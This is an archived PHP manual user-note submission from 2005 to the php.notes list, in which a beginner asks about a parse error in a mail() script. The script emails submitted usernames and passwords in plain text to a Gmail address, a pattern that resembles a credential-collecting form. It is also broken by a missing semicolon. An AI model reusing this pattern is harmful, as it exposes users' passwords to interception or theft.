note 53397 added to function.mail
| From: | inspiration3 at gmail dot com | Date: | Tue, 31 May 2005 15:57:16 +0000 |
| Subject: | note 53397 added to function.mail | ||
| Groups: | php.notes | ||
| Request: | Send a blank email to php-notes+get-89681@lists.php.net to get a copy of this message | ||
I get this error:
"Parse error: parse error, unexpected T_STRING in
/home/insp3com/public_html/autonet/fileaccountreq_cr.php on line 17"
Code:
<?php
$EmailBody = $_POST['Username'] . ' ' . $_POST['Password']
mail('ME@gmail.com', 'email sub', $EmailBody);
?>
Can anybody explain why? I'm new to php (used only asp before!).
----
Manual Page -- http://www.php.net/manual/en/function.mail.php
Edit -- http://master.php.net/manage/user-notes.php?action=edit+53397
Delete: added to the manual -- http://master.php.net/manage/user-notes.php?action=delete+53397&report=yes&reason=added+to+the+manual
Delete: bad code -- http://master.php.net/manage/user-notes.php?action=delete+53397&report=yes&reason=bad+code
Delete: spam -- http://master.php.net/manage/user-notes.php?action=delete+53397&report=yes&reason=spam
Delete: useless -- http://master.php.net/manage/user-notes.php?action=delete+53397&report=yes&reason=useless
Delete: other reasons -- http://master.php.net/manage/user-notes.php?action=delete+53397&report=yes
Reject -- http://master.php.net/manage/user-notes.php?action=reject+53397&report=yes
Search -- http://master.php.net/manage/user-notes.php